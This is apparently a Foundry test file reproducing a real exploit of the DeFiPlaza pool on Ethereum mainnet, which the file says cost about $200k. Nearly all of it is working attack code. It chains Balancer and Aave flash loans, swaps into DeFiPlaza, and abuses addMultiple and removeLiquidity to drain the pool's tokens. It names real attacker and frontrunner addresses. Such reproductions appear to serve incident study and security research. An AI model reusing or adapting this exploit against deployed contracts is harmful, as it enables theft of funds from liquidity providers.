// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "./../interface.sol"; // @KeyInfo -- Total Lost : ~200k USD // TX : https://app.blocksec.com/explorer/tx/eth/0xa245deda8553c6e4c575baff9b50ef35abf4c8f990f8f36897696f896f240e3a // Frontrunner : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a // Original Attacker: https://etherscan.io/address/0x14b362d2e38250604f21a334d71c13e2ed478467 // Frontrunner Attack Contract: https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0 // Original Attack Contract : https://etherscan.io/address/0xa4e8969bba1e1d48c30c948de0884cdff43e2d54 // GUY : https://x.com/DecurityHQ/status/1809222922998808760 interface DeFiPlaza is IERC20 { function swap( address inputToken, address outputToken, uint256 inputAmount, uint256 minOutputAmount ) external payable returns (uint256 outputAmount); function addMultiple( address[] calldata tokens, uint256[] calldata maxAmounts ) external payable returns (uint256 actualLP); function removeLiquidity( uint256 LPamount, address outputToken, uint256 minOutputAmount ) external returns (uint256 actualOutput); } contract ContractTest is Test { DeFiPlaza DEFI = DeFiPlaza(0xE68c1d72340aEeFe5Be76eDa63AE2f4bc7514110); IERC20 DFP2 = IERC20(0x2F57430a6ceDA85a67121757785877b4a71b8E6D); IERC20 YFI = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e); IERC20 Matic = IERC20(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0); IERC20 SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); IERC20 eXRD = IERC20(0x6468e79A80C0eaB0F9A2B574c8d5bC374Af59414); IERC20 CVX = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); IERC20 MKR = IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2); IERC20 Spell = IERC20(0x090185f2135308BaD17527004364eBcC2D37e5F6); IERC20 AAVEtoken = IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9); IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); IUSDT LINK = IUSDT(0x514910771AF9Ca656af840dff83E8264EcF986CA); IERC20 COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888); IERC20 CRV = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52); IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); IAaveFlashloan AAVE = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); event log_data(bytes data); function setUp() public { vm.createSelectFork("mainnet", 20_240_538); } function testExploit() external { emit log_named_decimal_uint("[End] Attacker ETH balance before exploit", address(this).balance, 18); emit log_named_decimal_uint( "[End] Attacker eXRD balance before exploit", eXRD.balanceOf(address(this)), eXRD.decimals() ); emit log_named_decimal_uint( "[End] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), USDC.decimals() ); emit log_named_decimal_uint("[End] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 6); emit log_named_decimal_uint( "[End] Attacker DAI balance before exploit", DAI.balanceOf(address(this)), DAI.decimals() ); emit log_named_decimal_uint("[End] Attacker LINK balance before exploit", LINK.balanceOf(address(this)), 18); emit log_named_decimal_uint( "[End] Attacker WBTC balance before exploit", WBTC.balanceOf(address(this)), WBTC.decimals() ); emit log_named_decimal_uint( "[End] Attacker Spell balance before exploit", Spell.balanceOf(address(this)), Spell.decimals() ); emit log_named_decimal_uint( "[End] Attacker MKR balance before exploit", MKR.balanceOf(address(this)), MKR.decimals() ); emit log_named_decimal_uint( "[End] Attacker CRV balance before exploit", CRV.balanceOf(address(this)), CRV.decimals() ); emit log_named_decimal_uint( "[End] Attacker YFI balance before exploit", YFI.balanceOf(address(this)), YFI.decimals() ); emit log_named_decimal_uint( "[End] Attacker Sushi balance before exploit", SUSHI.balanceOf(address(this)), SUSHI.decimals() ); emit log_named_decimal_uint( "[End] Attacker Matic balance before exploit", Matic.balanceOf(address(this)), Matic.decimals() ); emit log_named_decimal_uint( "[End] Attacker COMP balance before exploit", COMP.balanceOf(address(this)), COMP.decimals() ); emit log_named_decimal_uint( "[End] Attacker CVX balance before exploit", CVX.balanceOf(address(this)), CVX.decimals() ); console.log("====================="); bytes memory userencodeData = abi.encode(1, address(this)); approveAll(); uint256[] memory amount = new uint256[](9); address[] memory token = new address[](9); token[0] = address(WBTC); token[1] = address(LINK); token[2] = address(DAI); token[3] = address(AAVEtoken); token[4] = address(MKR); token[5] = address(USDC); token[6] = address(WETH); token[7] = address(CRV); token[8] = address(USDT); amount[0] = 3_453_558_744; amount[1] = 11_703_486_364_971_912_026_396; amount[2] = 1_579_853_285_099_364_323_842_974; amount[3] = 626_870_781_897_849_610_814_425; amount[4] = 160_573_001_420_344_730_080; amount[5] = 5_082_037_851_392; amount[6] = 34_546_473_222_602_105_572_392; amount[7] = 3_901_990_478_262_973_511_258; amount[8] = 3_721_449_521_913; Balancer.flashLoan(address(this), token, amount, userencodeData); emit log_named_decimal_uint("[End] Attacker ETH balance after exploit", address(this).balance, 18); emit log_named_decimal_uint( "[End] Attacker eXRD balance after exploit", eXRD.balanceOf(address(this)), eXRD.decimals() ); emit log_named_decimal_uint( "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() ); emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6); emit log_named_decimal_uint( "[End] Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals() ); emit log_named_decimal_uint("[End] Attacker LINK balance after exploit", LINK.balanceOf(address(this)), 18); emit log_named_decimal_uint( "[End] Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals() ); emit log_named_decimal_uint( "[End] Attacker Spell balance after exploit", Spell.balanceOf(address(this)), Spell.decimals() ); emit log_named_decimal_uint( "[End] Attacker MKR balance after exploit", MKR.balanceOf(address(this)), MKR.decimals() ); emit log_named_decimal_uint( "[End] Attacker CRV balance after exploit", CRV.balanceOf(address(this)), CRV.decimals() ); emit log_named_decimal_uint( "[End] Attacker YFI balance after exploit", YFI.balanceOf(address(this)), YFI.decimals() ); emit log_named_decimal_uint( "[End] Attacker Sushi balance after exploit", SUSHI.balanceOf(address(this)), SUSHI.decimals() ); emit log_named_decimal_uint( "[End] Attacker Matic balance after exploit", Matic.balanceOf(address(this)), Matic.decimals() ); emit log_named_decimal_uint( "[End] Attacker COMP balance after exploit", COMP.balanceOf(address(this)), COMP.decimals() ); emit log_named_decimal_uint( "[End] Attacker CVX balance after exploit", CVX.balanceOf(address(this)), CVX.decimals() ); } function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { address[] memory assets = new address[](6); assets[0] = address(WBTC); assets[1] = address(LINK); assets[2] = address(DAI); assets[3] = address(MKR); assets[4] = address(CRV); assets[5] = address(USDT); uint256[] memory amounts = new uint256[](6); amounts[0] = 5_781_711_628; amounts[1] = 418_582_543_975_397_474_624_769; amounts[2] = 3_503_975_614_905_139_135_512_778; amounts[3] = 2_280_638_770_110_776_934_873; amounts[4] = 1_044_246_667_915_305_492_650_602; amounts[5] = 1_396_680_406_245; uint256[] memory interestRateModes = new uint256[](7); interestRateModes[0] = 2; interestRateModes[1] = 2; interestRateModes[2] = 2; interestRateModes[3] = 0; interestRateModes[4] = 0; interestRateModes[5] = 2; AAVE.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(""), 0); AAVE.repay(address(WBTC), 5_781_711_628, 2, address(this)); AAVE.repay(address(LINK), 418_582_543_975_397_474_624_769, 2, address(this)); AAVE.repay(address(DAI), 3_503_975_614_905_139_135_512_778, 2, address(this)); AAVE.repay(address(USDT), 1_396_680_406_245, 2, address(this)); AAVE.withdraw(address(AAVEtoken), 626_870_781_897_849_610_814_425, address(this)); WBTC.transfer(address(Balancer), 3_453_558_744); LINK.transfer(address(Balancer), 11_703_486_364_971_912_026_396); DAI.transfer(address(Balancer), 1_579_853_285_099_364_323_842_974); AAVEtoken.transfer(address(Balancer), 626_870_781_897_849_610_814_425); MKR.transfer(address(Balancer), 160_573_001_420_344_730_080); USDC.transfer(address(Balancer), 5_082_037_851_392); WETH.transfer(address(Balancer), 34_546_473_222_602_105_572_392); CRV.transfer(address(Balancer), 3_901_990_478_262_973_511_258); USDT.transfer(address(Balancer), 3_721_449_521_913); } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool) { DEFI.swap(address(USDT), address(COMP), 256_581_711_438, 0); DEFI.swap(address(WBTC), address(DFP2), 462_981_892, 0); DEFI.swap(address(USDC), address(eXRD), 254_772_346_112, 0); DEFI.swap(address(MKR), address(SUSHI), 122_382_648_177_021_930_433, 0); DEFI.swap(address(DAI), address(CVX), 254_862_134_828_721_809_308_072, 0); DEFI.swap(address(LINK), address(Matic), 21_571_067_484_081_842_602_565, 0); DEFI.swap{value: 86 ether}(address(0), address(Spell), 86 ether, 0); DEFI.swap{value: 1727 ether}(address(0), address(YFI), 1727 ether, 0); address[] memory tokens = new address[](16); tokens[0] = address(0); tokens[1] = address(Spell); tokens[2] = address(YFI); tokens[3] = address(WBTC); tokens[4] = address(DFP2); tokens[5] = address(CVX); tokens[6] = address(LINK); tokens[7] = address(eXRD); tokens[8] = address(DAI); tokens[9] = address(SUSHI); tokens[10] = address(Matic); tokens[11] = address(MKR); tokens[12] = address(USDC); tokens[13] = address(COMP); tokens[14] = address(CRV); tokens[15] = address(USDT); uint256[] memory amounts = new uint256[](16); amounts[0] = 32_732 ether; amounts[1] = 88_888_888 ether; amounts[2] = 88_888_888 ether; amounts[3] = 87 * 1e8; amounts[4] = 88_888_888 ether; amounts[5] = 88_888_888 ether; amounts[6] = 88_888_888 ether; amounts[7] = 88_888_888 ether; amounts[8] = 88_888_888 ether; amounts[9] = 88_888_888 ether; amounts[10] = 88_888_888 ether; amounts[11] = 88_888_888 ether; amounts[12] = 88_888_888 ether; amounts[13] = 88_888_888 ether; amounts[14] = 88_888_888 ether; amounts[15] = 88_888_888 ether; DEFI.addMultiple{value: 32_732 ether}(tokens, amounts); uint256 amount = DEFI.balanceOf(address(this)); DEFI.removeLiquidity(amount, address(0), 0); DEFI.swap{value: 0.000000000000000001 ether}(address(0), address(Spell), 1, 0); DEFI.swap(address(Spell), address(YFI), 1, 0); DEFI.swap(address(YFI), address(WBTC), 1, 0); DEFI.swap(address(WBTC), address(DFP2), 1, 0); DEFI.swap(address(DFP2), address(CVX), 1, 0); DEFI.swap(address(CVX), address(LINK), 1, 0); DEFI.swap(address(LINK), address(eXRD), 1, 0); DEFI.swap(address(eXRD), address(DAI), 1, 0); DEFI.swap(address(DAI), address(SUSHI), 1, 0); DEFI.swap(address(SUSHI), address(Matic), 1, 0); DEFI.swap(address(Matic), address(MKR), 1, 0); DEFI.swap(address(MKR), address(USDC), 1, 0); DEFI.swap(address(USDC), address(COMP), 1, 0); DEFI.swap(address(COMP), address(CRV), 1, 0); DEFI.swap(address(CRV), address(USDT), 1, 0); AAVE.supply(address(AAVEtoken), 626_870_781_897_849_610_814_425, address(this), 0); return true; } function approveAll() public { SUSHI.approve(address(DEFI), type(uint256).max); COMP.approve(address(DEFI), type(uint256).max); CRV.approve(address(DEFI), type(uint256).max); CRV.approve(address(AAVE), type(uint256).max); LINK.approve(address(DEFI), type(uint256).max); LINK.approve(address(AAVE), type(uint256).max); AAVEtoken.approve(address(AAVE), type(uint256).max); Spell.approve(address(DEFI), type(uint256).max); CVX.approve(address(DEFI), type(uint256).max); eXRD.approve(address(DEFI), type(uint256).max); SUSHI.approve(address(DEFI), type(uint256).max); WBTC.approve(address(AAVE), type(uint256).max); WBTC.approve(address(DEFI), type(uint256).max); Matic.approve(address(DEFI), type(uint256).max); MKR.approve(address(DEFI), type(uint256).max); MKR.approve(address(AAVE), type(uint256).max); YFI.approve(address(DEFI), type(uint256).max); DFP2.approve(address(DEFI), type(uint256).max); USDT.approve(address(DEFI), type(uint256).max); USDT.approve(address(AAVE), type(uint256).max); USDC.approve(address(DEFI), type(uint256).max); DAI.approve(address(DEFI), type(uint256).max); DAI.approve(address(AAVE), type(uint256).max); } fallback() external payable {} }